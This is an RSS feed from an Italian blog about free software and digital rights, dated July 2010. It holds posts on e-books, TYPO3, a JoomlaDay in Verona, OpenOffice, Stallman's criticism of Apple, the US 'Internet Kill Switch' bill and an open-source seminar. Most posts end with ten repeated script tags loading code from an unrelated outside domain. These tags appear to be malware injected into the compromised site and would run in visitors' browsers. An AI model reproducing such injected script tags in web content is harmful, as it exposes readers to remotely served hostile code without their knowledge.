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	<title>informatica etica</title>
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	<description>conoscere davvero Internet e i computer è un dovere civico</description>
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		<title>La guerra degli e-book, ecco un aspetto da non trascurare</title>
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		<pubDate>Tue, 27 Jul 2010 10:32:17 +0000</pubDate>
		<dc:creator>mfioretti</dc:creator>
				<category><![CDATA[cultura libera]]></category>
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		<description><![CDATA[<p>I libri in formato elettronico sono una delle grandi promesse del nostro tempo: poter leggere molti più libri di prima senza spendere un capitale o avere una casa enorme dove metttere i libri stessi, non dove più spendere centinaia di Euro per mandare i bambini a scuola con zaini che gli spezzano la schiena (1) e, <span style="color:#777"> . . . &#8594; Read More: <a href="http://informaticaetica.com/la-guerra-degli-e-book-ecco-un-aspetto-da-non-trascurare/">La guerra degli e-book, ecco un aspetto da non trascurare</a></span>]]></description>
			<content:encoded><![CDATA[<p>I libri in formato elettronico sono una delle grandi promesse del nostro tempo: poter leggere molti più libri di prima senza spendere un capitale o avere una casa enorme dove metttere i libri stessi, non dove più spendere centinaia di Euro per mandare i bambini a scuola con zaini che gli spezzano la schiena (1) e, per chi vuole scrivere, avere almeno in teoria la stessa visibilità di chi è riuscito a farsi vedere da una grande casa editrice.</p>
<p>Per questo cerco di seguire il più possibile  questo settore e per questo, di solito, quando vedo qualcuno che attacca gli e-book la reazione istintiva è &#8220;<em>ecco un altro che è legato al passato solo per il suo esclusivo tornaconto&#8221;</em>.</p>
<p>Però, se le cose stanno come denuncia<a href="http://www.repubblica.it/spettacoli-e-cultura/2010/07/27/news/la_guerra_dell_e-book_santachiara_nessun_accordo_con_gli_editori-5859501/"> Roberto Santachiara in un&#8217;intervista a Repubblica</a>, cioè se un ebook dovesse costare soltanto la metà (anzichè il 20/10 per cento, almeno per titoli non più nuovi) della versione cartacea, in condizioni che farebbbero guadagnare l&#8217;autore <strong>meno di intermediari di cui non si capisce bene la necessità e il significato</strong>&#8230; forse il momento di liberare la cultura tramite il passaggio ai libri elettronici non è ancora arrivato. In ogni caso, l&#8217;intervista è da leggere. Voi cosa ne pensate?</p>
<p>(1) per fortuna c&#8217;è anche qualche scuola italiana che sta cercando di <a href="http://stop.zona-m.net/it/cittadini-attivi/i-testi-scolastici-costano-troppo-mantova-una-scuola-prova-produrli-proprio">risolvere da sola il problema, almeno per i propri student</a>i.<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
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		<title>CMS opensource: TYPO3 4.4 è il cms semplice da usare</title>
		<link>http://informaticaetica.com/cms-opensource-typo3-4-4-e-il-cms-semplice-da-usare/</link>
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		<pubDate>Sat, 24 Jul 2010 10:13:21 +0000</pubDate>
		<dc:creator>marco costanzo</dc:creator>
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		<category><![CDATA[informatica]]></category>
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		<description><![CDATA[<p>E&#8217; stato rilasciato TYPO3 4.4: focus sulla semplicità di utilizzo</p>
<p>E&#8217; stata rilasciata oggi la nuova versione di TYPO3, giunta ora alla versione 4.4. La nuova release rende TYPO3 ancora più semplice, specialmente per i nuovi utenti. Il tuo nuovo sito TYPO3 può essere messo in funzione in soli 5 minuti dal download, grazie al nuovo pacchetto <span style="color:#777"> . . . &#8594; Read More: <a href="http://informaticaetica.com/cms-opensource-typo3-4-4-e-il-cms-semplice-da-usare/">CMS opensource: TYPO3 4.4 è il cms semplice da usare</a></span>]]></description>
			<content:encoded><![CDATA[<blockquote><p>E&#8217; stato rilasciato TYPO3 4.4: focus sulla semplicità di utilizzo</p>
<p>E&#8217; stata rilasciata oggi la nuova versione di TYPO3, giunta ora alla versione 4.4. La nuova release rende TYPO3 ancora più semplice, specialmente per i nuovi utenti. Il tuo nuovo sito TYPO3 può essere messo in funzione in soli 5 minuti dal download, grazie al nuovo pacchetto di startup e al template di base. Di seguito potete trovare le migliorie più importanti.</p></blockquote>
<p>leggi il resto qui <a href="http://www.webformat.com/news/dettaglio-notizia/articolo/e-stato-rilasciato-typo3-44-focus-sulla-semplicita-di-utilizzo/index.html?cHash=6d118484b5a6d2ebafc71398889468b2">E&#8217; stato rilasciato TYPO3 4.4: focus sulla semplicità di utilizzo</a>.<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
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		<title>Terzo JoomlaDay Italia &#8211; Verona &#8211; Ottobre 2010</title>
		<link>http://informaticaetica.com/terzo-joomladay-italia-verona-ottobre-2010/</link>
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		<pubDate>Thu, 22 Jul 2010 10:04:50 +0000</pubDate>
		<dc:creator>marco costanzo</dc:creator>
				<category><![CDATA[cultura libera]]></category>
		<category><![CDATA[informatica]]></category>
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		<category><![CDATA[sviluppatori joomla]]></category>

		<guid isPermaLink="false">http://informaticaetica.com/?p=318</guid>
		<description><![CDATA[<p>La community italiana di Joomla in collaborazione con Joomla.org e l&#8217;Associazione JoomlaVeneto organizza il terzo JoomlaDay italiano.</p>
<p>L&#8217;evento, che dal 2009 ha ricevuto il patrocinio dal Ministro della Gioventù On.le Giorgia Meloni, sarà ospitato sabato 9 Ottobre 2010 dalle 9:00 alle 18:30 presso il Centro Congressi VeronaFiere V.le del Lavoro 8,  37135 &#8211; Verona.</p>
<p>visita Joomladay.it &#8211; <span style="color:#777"> . . . &#8594; Read More: <a href="http://informaticaetica.com/terzo-joomladay-italia-verona-ottobre-2010/">Terzo JoomlaDay Italia &#8211; Verona &#8211; Ottobre 2010</a></span>]]></description>
			<content:encoded><![CDATA[<blockquote><p>La community italiana di Joomla in collaborazione con Joomla.org e l&#8217;Associazione JoomlaVeneto organizza il terzo <strong>JoomlaDay italiano.</strong></p>
<p>L&#8217;evento, che dal 2009 ha ricevuto il patrocinio dal Ministro della Gioventù On.le Giorgia Meloni, sarà ospitato sabato <strong>9 Ottobre 2010 dalle 9:00 alle 18:30</strong> presso il Centro Congressi VeronaFiere V.le del Lavoro 8,  37135 &#8211; Verona.</p>
<p>visita <a href="http://www.joomladay.it/">Joomladay.it &#8211; Terzo JoomlaDay Italia &#8211; Verona 2010</a>.</p></blockquote>
<p>Joomla! è un sistema di gestione dei siti internet veramente fantastico.</p>
<p>La versatilità di questa applicazione web permette di fare tutto ciò che su Internet fanno le aziende più importanti.</p>
<p>Quanto costa Jommla! ? Zero. Quanto costa lo sviluppo di un sito con Joomla! ? Dipende dalle ore di lavoro dei programmatori che vi si applicano.</p>
<p>Per avere maggiori informazioni non perdetevi questo evento che è fondamentale per tutta la comunità degli sviluppatori di software libero italiani.</p>
<p><a title="consulente di comunicazione" href="http://marcocostanzo.com">Marco Costanzo</a><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
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		<title>Lettera a un&#8217;amica sul software</title>
		<link>http://informaticaetica.com/lettera-a-unamica-sul-software/</link>
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		<pubDate>Sat, 17 Jul 2010 03:46:47 +0000</pubDate>
		<dc:creator>mfioretti</dc:creator>
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		<category><![CDATA[educazione civica]]></category>
		<category><![CDATA[politica]]></category>

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		<description><![CDATA[<p>Sette anni fa un&#8217;amica mi fece diverse domande, per capire perché mai un cittadino o un politico qualunque, anche se non usano computer personalmente, dovrebbero preoccuparsi di come viene gestito il software. Quando le risposi, pubblicai la risposta anche su un sito Web, poichè era di interesse generale. Oggi ho ritrovato per caso il link e <span style="color:#777"> . . . &#8594; Read More: <a href="http://informaticaetica.com/lettera-a-unamica-sul-software/">Lettera a un&#8217;amica sul software</a></span>]]></description>
			<content:encoded><![CDATA[<p>Sette anni fa un&#8217;amica mi fece diverse domande, per capire perché mai un cittadino o un politico qualunque, anche se <strong>non</strong> usano computer personalmente, dovrebbero <em>preoccuparsi di come viene gestito il software</em>. Quando le risposi, pubblicai la risposta anche su un sito Web, poichè era di interesse generale. Oggi ho ritrovato per caso il link e poichè parecchi di quei problemi sono ancora attualissimi ve lo ripropongo: <a href="http://blog.zeusnews.com/index.php3?ar=stampa&amp;cod=2166&amp;numero=408">Lettera a un&#8217;amica sul software</a>.<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
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		<title>Gli impiegati inglesi consigliano di passare a Linux</title>
		<link>http://informaticaetica.com/gli-impiegati-inglesi-consigliano-di-passare-a-linux/</link>
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		<pubDate>Thu, 15 Jul 2010 15:22:38 +0000</pubDate>
		<dc:creator>italo</dc:creator>
				<category><![CDATA[cultura libera]]></category>
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		<description><![CDATA[<p>   //   <span style="color:#777"> . . . &#8594; Read More: <a href="http://informaticaetica.com/gli-impiegati-inglesi-consigliano-di-passare-a-linux/">Gli impiegati inglesi consigliano di passare a Linux</a></span>]]></description>
			<content:encoded><![CDATA[<p><!-- fine TOP --> <!-- fine header --> <!-- CONTENT --> <script type="text/javascript">// <![CDATA[
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<p><small><span> </span></small></p>
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<p><!-- <EdIndex> &#8211;><img class="post-h" src="http://static.blogo.it/ossblog/4121065454_3d16972209.jpg" border="0" alt="" width="432" height="287" /></p>
<p>Il primo ministro inglese David Cameron ha chiesto agli impiegati  dell’amministrazione pubblica di suggerigli delle idee su come riuscire a  ridurre la spesa pubblica.</p>
<p>Sono arrivate 56.000 proposte di cui è stato pubblicato un piccolo  insieme rappresentativo. Delle 31 presentate ben due suggeriscono di  abbandonare i prodotti <a href="http://www.ossblog.it/categoria/microsoft">Microsoft</a> e di  passare alla alternative basate su <a href="http://www.ossblog.it/categoria/linux">Linux</a> e sull’OpenSource  come OpenOffice.</p>
<p>Un’ottima iniziativa del nuove governo inglese che è partito con il  piede giusto, chiedendo ai soggetti interessati quali sono gli sprechi  della Cosa Pubblica. Chissà quando qualcosa del genere succederà in  Italia e si smetterà  di prendere i soldi sempre alle solite persone?  Per la risposta vi rimandiamo a <a href="http://www.polisblog.it/">PolisBlog</a>.</p>
<p><a href="http://www.ossblog.it/post/6492/gli-impiegati-inglesi-consigliano-di-passare-a-linux?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+Ossblog%2Fit+%28ossblog%29&amp;utm_content=Google+Reader">fonte ossblog</a>.<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
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		<title>Luca usa OpenOffice e se ne vanta!</title>
		<link>http://informaticaetica.com/luca-usa-openoffice-e-se-ne-vanta/</link>
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		<pubDate>Sat, 10 Jul 2010 08:05:09 +0000</pubDate>
		<dc:creator>mfioretti</dc:creator>
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		<description><![CDATA[<p>Luca Menini, membro della Italian Linux Society e sostenitore del software libero, risponde così alle recenti critiche di Fabrizio Albergati di Microsoft Italia secondo il quale, rispetto a Microsoft Office, &#8220;OpenOffice non è buono nemmeno per hobby&#8221;: &#8220;Un venditore non trae mai vantaggio dal classificare un potenziale acquirente un pezzente perché non acquista i sui prodotti. <span style="color:#777"> . . . &#8594; Read More: <a href="http://informaticaetica.com/luca-usa-openoffice-e-se-ne-vanta/">Luca usa OpenOffice e se ne vanta!</a></span>]]></description>
			<content:encoded><![CDATA[<p><a href="http://it.linkedin.com/in/lucamenini">Luca Menini</a>, membro della Italian Linux Society e sostenitore del software libero, risponde così alle recenti <a href="http://www.pcworld.it/focus/120491/2010-06-15/Office-2010-per-Microsoft-la-concorrenza-e-rimasta-indietro.html">critiche di Fabrizio Albergati di Microsoft Italia</a> secondo il quale, rispetto a Microsoft Office, &#8220;OpenOffice non è buono nemmeno per hobby&#8221;: <em>&#8220;Un venditore non trae mai vantaggio dal classificare un potenziale acquirente un pezzente perché non acquista i sui prodotti. O almeno con me non funziona&#8230; Da quando la competizione dei prodotti è determinata dal valore definito dal&#8230; <strong>venditore</strong>?&#8221;</em></p>
<p>Leggi  la risposta completa di Luca sul <a href="http://lucamenini.wordpress.com/2010/06/20/si-uso-openoffice-e-me-ne-vanto/">suo blog</a>.<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
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		<item>
		<title>Richard Stallman, Apple è l&#8217;impero del male</title>
		<link>http://informaticaetica.com/richard-stallman-apple-e-limpero-del-male/</link>
		<comments>http://informaticaetica.com/richard-stallman-apple-e-limpero-del-male/#comments</comments>
		<pubDate>Tue, 06 Jul 2010 23:09:41 +0000</pubDate>
		<dc:creator>italo</dc:creator>
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		<description><![CDATA[<p>   //  <span style="color:#777"> . . . &#8594; Read More: <a href="http://informaticaetica.com/richard-stallman-apple-e-limpero-del-male/">Richard Stallman, Apple è l&#8217;impero del male</a></span>]]></description>
			<content:encoded><![CDATA[<p><!-- fine TOP --> <!-- fine header --> <!-- CONTENT --> <script type="text/javascript">// <![CDATA[
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<p><!-- <EdIndex> &#8211;><img class="post" src="http://static.blogo.it/ossblog/800pxDArcy_Norman__RMSUcalgary__10_28by29.jpg" border="0" alt="" width="586" height="390" /></p>
<p><a href="http://stallman.org/">Stallman</a> non è mai stato un  personaggio accomodante quando si parla della dicotomia fra software  libero e chiuso. Nel <a href="http://it.wikipedia.org/wiki/Richard_Stallman">corso degli anni</a> si è scontrato in maniera diretta con le aziende che limitavano le  libertà degli utenti. Ultimamente il nemico numero uno sembra proprio  essere diventata <a href="http://www.melablog.it/">Apple</a> che è  passata dalla campagna “<a href="http://it.wikipedia.org/wiki/Think_different">Think Different</a>”  all’omologazione degli utenti attraverso i suoi eleganti, ma  blindatissimi prodotti.</p>
<p>La colpa principale di Apple è la forte limitazione alle libertà  digitali imposte agli utenti. Questi vengono attirati usando uno stile  di design che fa sentire “più fighi”, ma che è usato come la proverbiale  carota. La situazione è iniziata a peggiorare con l’arrivo dei primi  iPod, lettori portatili mp3 chiusi imbottiti con il DRM.</p>
<p>L’iPhone è stata sicuramente una pietra miliare sulla strada della  perdita delle libertà con tutti i suoi lucchetti coperti da lustrini.  Bruce Schneier, il famoso esperto di sicurezza, ha <a href="http://www.schneier.com/essay-204.html">spiegato</a> senza tanti  eufemismi che quel che Apple chiama “sicurezza” in realtà è “controllo”.</p>
<p>Quel che va meno giù a Stallman è sicuramente l’App Store. Un mercato  dove Apple ha l’ultimo ed insindacabile giudizio su cosa possa essere o  meno eseguito sui device degli utenti. Chi si accorge troppo tardi del  problema e cerca di ritagliarsi un’isoletta di libertà si vede pure  decadere la garanzia. Con iPad, l’ultimo arrivato da casa Apple,  l’azienda ha la possibilità di disabilitare qualsiasi caratteristica,  bloccare i prodotti concorrenti, censurare le notizie e cancellare  video, libri o qualsiasi tipo di file senza nessuna richiesta di assenso  da parte dell’utente.</p>
<p>Una progressione in negativo che sa di totalitarismo e che non si può  non aver notato. Stallman la definisce, senza mezzi termini, malvagia e  per limitare il potere di quest’azienda ha deciso di utilizzare l’arma  sempre tagliente della conoscenza. È, infatti, stata lanciata la  campagna <a href="http://www.fsf.org/translations/it/iBad_launch-ita/">iBad</a> con la distribuzione di adesivi contro Cupertino.</p>
<p>Su <a href="http://www.defectivebydesign.org/ipad">DefectiveByDesign</a> ogni 5.000 sottoscrizioni contro Apple verrà inviata una cartolina  gigante a Steve Jobs con tutti i nomi di chi si è schierato contro  quello che da più parti nel mondo del software libero viene definito il  nuovo impero del male. Nelle condizioni d’acquisto o d’uso dei prodotti  Apple ci sono tante condizioni che purtroppo gli utenti accettano senza  leggere attentamente. Se vuoi, per esempio, cambiare la batteria al tuo  dispositivo l’azienda può controllare se hai infranto le loro regole ed  eventualmente lasciarti senza.</p>
<p>Stallman alla luce di quanto detto qui sopra si <a href="http://www.wired.it/news/archivio/2010-05/13/stallman-ipad-io-lo-chiamo-ibad.aspx">chiede</a> come sia possibile che un utente compri un prodotto di questo tipo.  Acquistare un prodotto made in Cupertino è come mettersi da soli delle  manette digitali. Per qualcuno RMS è solo un integralista, ma in realtà è  solo un paladino delle libertà digitali. Nel suo pensiero ogni utente  deve avere il diritto di scegliere ciò che preferisce in piena libertà.  Apple rappresenta l’esatto opposto di questa filosofia perché è  un’azienda che si arroga il diritto di scegliere al posto dell’utente.</p>
<p><a href="http://www.ossblog.it/post/6468/richard-stallman-apple-e-limpero-del-male?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+Ossblog%2Fit+%28ossblog%29">fonte ossblog</a>.<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
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		<title>Gli Usa vorrebbero l&#8217;interruttore per spegnere Internet</title>
		<link>http://informaticaetica.com/zeus-news-gli-usa-vorrebbero-linterruttore-per-spegnere-internet/</link>
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		<pubDate>Sat, 03 Jul 2010 13:06:18 +0000</pubDate>
		<dc:creator>italo</dc:creator>
				<category><![CDATA[cultura libera]]></category>
		<category><![CDATA[informatica]]></category>

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		<description><![CDATA[<p class="introArt">In via di approvazione la legge che permetterebbe al  presidente di disconnettere la Rete per ragioni di sicurezza nazionale.  Ma la legge ammazza-internet non a tutti piace.</p>
<p class="testataArt">
<p>Non  è un mistero per nessuno il fatto che parte della guerra moderna si  possa combattere con mezzi decisamente poco tradizionali, come attacchi mirati <span style="color:#777"> . . . &#8594; Read More: <a href="http://informaticaetica.com/zeus-news-gli-usa-vorrebbero-linterruttore-per-spegnere-internet/">Gli Usa vorrebbero l&#8217;interruttore per spegnere Internet</a></span>]]></description>
			<content:encoded><![CDATA[<p class="introArt">In via di approvazione la legge che permetterebbe al  presidente di disconnettere la Rete per ragioni di sicurezza nazionale.  Ma la legge ammazza-internet non a tutti piace.</p>
<p class="testataArt">
<p>Non  è un mistero per nessuno il fatto che parte della guerra moderna si  possa combattere con mezzi <strong>decisamente poco tradizionali</strong>, come <a href="http://www.zeusnews.com/news.php?cod=10017">attacchi mirati alle  infrastrutture</a> connesse a Internet, sfruttandone i punti deboli.</p>
<p>Per prevenire scenari di questo tipo il governo americano ha creato il  National Center for Cybersecurity and Communications, un&#8217;agenzia che ha  proprio il compito di <strong>sorvegliare gli accessi virtuali</strong> agli Stati  Uniti e prendere provvedimenti in caso di minacce.</p>
<p>Ora, con l&#8217;approvazione preliminare da parte della Commissione per la  Sicurezza nazionale e gli Affari governativi del Senato, un nuovo  tassello si aggiunge al puzzle della cybersicurezza americana, un  tassello che ha scatenato la preoccupazione di quanti vedono <strong>troppo  potere potenzialmente censorio</strong> accentrato nelle mani di uno solo:  concedere al presidente americano la facoltà di &#8220;spegnere&#8221; Internet per  un massimo di 120 giorni in caso di gravi minacce.</p>
<p>In base alla proposta di legge &#8211; avanzata dal senatore Joseph Lieberman e  approvata in Commissione &#8211; il presidente, qualora ritenga che sia  tangibile il rischio di un attacco informatico che possa <em>&#8220;causare  danni elevati e perdite di vite umane&#8221;</em>, potrà imporre ai provider,  ai motori di ricerca e alle aziende di software di <strong>interrompere la  fornitura dei servizi</strong> per, appunto, un periodo di tempo non  superiore ai quattro mesi (per un eventuale prolungamento della  sospensione occorre il parere favorevole del Congresso).</p>
<p>Tutto ciò è contenuto nel provvedimento denominato <em>Protecting  Cyberspace as a National Asset Act</em> (Legge per la <strong>protezione del  cyberspazio</strong> quale risorsa nazionale) ma più comunemente noto come <em>Internet  Kill <a class="iAs" style="font-weight: normal ! important; text-decoration: underline ! important; color: darkgreen ! important; border-bottom: 0.1em solid darkgreen ! important; padding-bottom: 1px ! important; background-color: transparent ! important; background-image: none; padding-top: 0pt; padding-right: 0pt; padding-left: 0pt;" href="http://www.zeusnews.com/index.php3?ar=stampa&amp;cod=12645#" target="_blank">Switch</a></em>, quasi che rappresenti un  bottone che il presidente Usa può premere per spegnere Internet.</p>
<p>Le conseguenze di questa legge &#8211; qualora ricevesse l&#8217;approvazione  definitiva al Congresso &#8211; non sono certe. Tanto per iniziare, <strong>la  definizione delle minacce</strong> che consentirebbero di agire è quantomai  vaga, e il pericolo che ciò possa esporre ad abusi a molti sembra  concreto.</p>
<p>D&#8217;altra parte c&#8217;è anche chi sostiene che questa proposta in realtà <strong>limiti  i poteri</strong> del presidente, attualmente più ampi: in base a una legge  del 1934 (il Communications Act) già ora, in teoria, potrebbe imporre lo  stop ai servizi di connessione, e senza limiti particolari.</p>
<p>C&#8217;è poi la questione della natura stessa di Internet, ossia una rete  interconnessa che non si limita certo agli Stati Uniti: spegnerne una  parte avrebbe con ogni probabilità <strong>ricadute pesanti</strong> anche sugli  altri Stati del mondo, che si troverebbero a dipendere dalle decisioni  prese a Washington su un&#8217;infrastruttura a oggi fondamentale per il  funzionamento di pressoché ogni servizio o impiego.</p>
<p>Il che porta naturalmente alla non nuova considerazione sulla Rete come  una <strong>creatura sostanzialmente americana</strong>, nonostante <a href="http://www.zeusnews.com/news.php?cod=11071">le recenti aperture</a> di organismi importanti come l&#8217;Icann.</p>
<p>D&#8217;altra parte Internet è nata come rete <strong>basata su nodi centrali</strong> importanti (basti pensare ai server DNS) e solo da poco si fanno notare <a href="http://www.zeusnews.com/news.php?cod=12608">alternative  completamente decentralizzate come Netsukuku</a>, le quali tuttavia si  trovano in uno stadio poco più che embrionale.</p>
<p>La discussione è ancora aperta e le associazioni per i diritti civili  stanno facendo sentire la propria voce, chiedendo che la norma <strong>specifichi  più chiaramente</strong> quali siano le conseguenze concrete sulle  comunicazioni &#8211; e sulle libertà &#8211; qualora si decida di attuare il  &#8220;blackout programmato di Internet&#8221;.</p>
<p><a href="http://www.zeusnews.com/index.php3?ar=stampa&amp;cod=12645">fonte e link Zeus News</a><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
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		<title>Inviare allegati .doc è una brutta abitudine</title>
		<link>http://informaticaetica.com/inviare-allegati-doc-e-una-brutta-abitudine/</link>
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		<pubDate>Thu, 01 Jul 2010 21:54:51 +0000</pubDate>
		<dc:creator>marco costanzo</dc:creator>
				<category><![CDATA[cultura libera]]></category>
		<category><![CDATA[informatica]]></category>
		<category><![CDATA[risorse gratuite]]></category>
		<category><![CDATA[scuola]]></category>
		<category><![CDATA[software libero]]></category>
		<category><![CDATA[allegati word]]></category>
		<category><![CDATA[openoffice]]></category>
		<category><![CDATA[software indispensabile]]></category>

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		<description><![CDATA[<p>Se volete sapere perché inviare allegati .doc è errato potete leggere questo documento.</p>
<p>Non vi arrabbiate anche voi quando ricevete per posta elettronica un documento Word? Gli allegati Word sono fastidiosi, ma soprattutto impediscono alle persone di passare al software libero. Forse possiamo mettere fine a questa pratica, con un semplice sforzo collettivo. Tutto quello che dobbiamo <span style="color:#777"> . . . &#8594; Read More: <a href="http://informaticaetica.com/inviare-allegati-doc-e-una-brutta-abitudine/">Inviare allegati .doc è una brutta abitudine</a></span>]]></description>
			<content:encoded><![CDATA[<p>Se volete sapere perché inviare allegati .doc è errato potete leggere questo documento.</p>
<blockquote><p>Non vi arrabbiate anche voi quando ricevete per posta elettronica un documento Word? Gli allegati Word sono fastidiosi, ma soprattutto impediscono alle persone di passare al software libero. Forse possiamo mettere fine a questa pratica, con un semplice sforzo collettivo. Tutto quello che dobbiamo fare è chiedere a chiunque ci mandi un file Word di riconsiderare il suo modo di fare.</p>
<p>La maggior parte degli utilizzatori di computer usa Microsoft Word. Questo è un problema per loro, perché Word è un software proprietario, che nega ai suoi utenti la libertà di studiarlo, modificarlo, copiarlo e ridistribuirlo. Inoltre, visto che Microsoft cambia il formato dei file di Word ad ogni versione, i suoi utenti sono intrappolati in un meccanismo che li obbliga ad acquistare ogni aggiornamento, che desiderino cambiare o meno. Potrebbero anche scoprire, tra qualche anno, che i documenti Word che scrivono oggi non sono più leggibili con la versione di Word che staranno usando allora.</p></blockquote>
<p>leggete il resto qui <a href="http://www.gnu.org/philosophy/no-word-attachments.it.html">Possiamo mettere fine agli allegati Word &#8211; Free Software Foundation FSF</a>.</p>
<p>Se avete ricevuto un allegato in formato .doc potete invitare i vostri corrispondenti a scoprire il fantastico mondo di <a title="openoffice" href="http://it.openoffice.org">OpenOffice.Org</a></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/kR2xj2HCWAI&amp;hl=it_IT&amp;fs=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/kR2xj2HCWAI&amp;hl=it_IT&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
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		<title>Mercoledì 7 luglio 2010: seminario sul lavoro Open Source</title>
		<link>http://informaticaetica.com/mercoledi-7-luglio-2010-seminario-sul-lavoro-open-source/</link>
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		<pubDate>Thu, 01 Jul 2010 09:15:55 +0000</pubDate>
		<dc:creator>marco costanzo</dc:creator>
				<category><![CDATA[cultura libera]]></category>
		<category><![CDATA[informatica]]></category>
		<category><![CDATA[risorse gratuite]]></category>
		<category><![CDATA[software libero]]></category>
		<category><![CDATA[linux per le aziende]]></category>

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		<description><![CDATA[<p>Seminario n. 5 del ciclo: LAVORARE OPEN SOURCE Mercoledì 7 luglio 2010 Spazio Eventi della Camera di Commercio, Prato Via Rinaldesca 13</p>
<p>Strumenti open source per la gestione dei sistemi di comunicazione e  dei rapporti con clienti e fornitori: posta elettronica e strumenti di  collaborazione, teleconferenza, VoIP, CRM.</p>
<p>In collaborazione con TINNOVA</p>
<p>Programma</p>
<p>ore 9 &#8211;  Registrazione</p>
<p>- <span style="color:#777"> . . . &#8594; Read More: <a href="http://informaticaetica.com/mercoledi-7-luglio-2010-seminario-sul-lavoro-open-source/">Mercoledì 7 luglio 2010: seminario sul lavoro Open Source</a></span>]]></description>
			<content:encoded><![CDATA[<p>Seminario n. 5 del ciclo: LAVORARE OPEN SOURCE Mercoledì 7 luglio 2010 Spazio Eventi della Camera di Commercio, Prato Via Rinaldesca 13</p>
<p>Strumenti open source per la gestione dei sistemi di comunicazione e  dei rapporti con clienti e fornitori: posta elettronica e strumenti di  collaborazione, teleconferenza, VoIP, CRM.</p>
<p><em><strong>In collaborazione con TINNOVA</strong></em></p>
<p><strong>Programma</strong><em><strong></strong></em></p>
<p><em><strong></strong></em>ore 9 &#8211;  Registrazione</p>
<p>- Saluti e apertura dei lavori<em><strong><br />
</strong>Alberto  Caravaggio – resp. Officina per l’Innovazione, TINNOVA<br />
Paolo Alderigi  – Polo Tecnologico<strong></strong></em></p>
<p><em><strong></strong></em><strong>- Zimbra  Collaboration Suite e integrazione con CRM VTiger</strong><em><strong><br />
</strong></em>Stefano  Pampaloni – Seacom</p>
<p>ore 11 – Coffee break<em><strong></strong></em></p>
<p><em><strong></strong></em><strong>-   DimDim: teleconferenza Open</strong><em><strong><br />
</strong>Alessandro  Fortunati – Seacom<strong></strong></em></p>
<p><em><strong></strong></em><strong>-  KalliopePBX:  centralino VoIP su piattaforma Asterisk</strong><em><strong><br />
</strong>Federico  Rossi –  NetResults<strong><br />
</strong></em><br />
ore 13 &#8211; Domande e  discussione</p>
<p>ore 13.30 &#8211; Lunch<em><strong><br />
</strong></em></p>
<p>Al termine delle sessioni i partecipanti potranno concordare con i  relatori degli appuntamenti gratuiti one to one della durata di 2 ore  per approfondire le tematiche trattate.</p>
<p>La partecipazione è gratuita. È gradita 	la registrazione online.</p>
